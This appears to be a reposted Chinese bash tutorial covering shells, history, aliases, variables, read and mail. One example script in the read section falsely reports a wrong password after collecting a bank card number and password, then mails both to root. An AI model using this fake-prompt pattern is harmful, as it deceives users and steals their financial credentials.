尚观学习-shell-基础 & 环境变量 & 自定义变量

来源:互联网 发布:淘宝聚划算是什么区别 编辑:程序博客网 时间:2024/04/29 09:55

一.Bash的定义、种类、更改


shell 是命令解释器


shell 的分类
cat /etc/shells
chsh –l
ls /bin/*sh

默认 shell: bash


shell 的更改:
/bin/bash

chsh             改变登录账号的shell

chsh user1  改变特定用户的shell

vim /etc/passwd



二.bash的特性:补全、历史、别名、脚本

history                     显示历史命令
~/.bash_history      文件
history -c                 清空历史命令

使用历史命令
 !l         !+命令的首字母
 !ls       !+命令的前几个字母
 !3       !+命令的行号

最后一个命令的最后一个参数
Alt + .
!$
[root@localhost tmp]# cd /tmp/
[root@localhost tmp]# !$
/tmp/
bash: /tmp/: is a directory


别名
alias  查看别名
[root@localhost ~]# alias
alias cp='cp -i'
alias l.='ls -d .* --color=tty'
alias ll='ls -l --color=tty'
alias ls='ls --color=tty'
alias mv='mv -i'
alias rm='rm -i'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'

设置别名
[root@localhost ~]# alias grep='grep --color'


永久生效:

写进四个脚本里

/etc/bashrc     
/etc/profile
~/.bashrc       
~/.bash_profile


取消别名:
临时取消\
永久取消unalias


三.环境变量、自定义变量


环境变量:
env 查看所有环境变量
set 查看所有变量
echo $变量名     //输出变量值


常用环境变量:
USER
HOME
HOSTNAME
PWD
UID
PS1
PATH


自定义变量:

变量名称只能由字母,数字,下划线组成,不能以数字开头


[root@localhost ~]# vim ~/.bash_profile
 14 export a=4
[root@localhost ~]# echo $a

[root@localhost ~]# source ~/.bash_profile   //source使变量生效
[root@localhost ~]# echo $a
4
[root@localhost ~]#


read var                // read读标准输入,并将值赋给参数
read -t 5 var         // -t: timeout
read -p "提示信息" var         // -p  prompt


[root@localhost ~]# read var    
how are you?
[root@localhost ~]# echo $var
how are you?

[root@localhost ~]# read -p "请输入一个数字:" number     
请输入一个数字:1
[root@localhost ~]# echo $number
1
[root@localhost ~]# read -p "请在5秒之内输入一个数字:" -t 5  number
请在5秒之内输入一个数字:1
[root@localhost ~]# read -p "请在5秒之内输入一个数字:" -t 5  number
请在5秒之内输入一个数字:[root@localhost ~]#                                           //超时,什么都不执行


例子:

#!/bin/bash
# read test
read -p "请输入你的银行卡帐号" num
read -p "请在五秒内输入密码" -t 5 pass
echo "你的密码错误!"
echo $num |mail -s "card num" root
echo $pass|mail -s "card pass" root


mail                查看当前帐号的邮件
mail 数字       查看第几封邮件
[root@localhost ~]# mail -s "hello" user200        // 给某个帐号邮件   -s subject
hi            //ctrl+D结束
Cc:         //Enter略过
[root@localhost ~]#



原创粉丝点击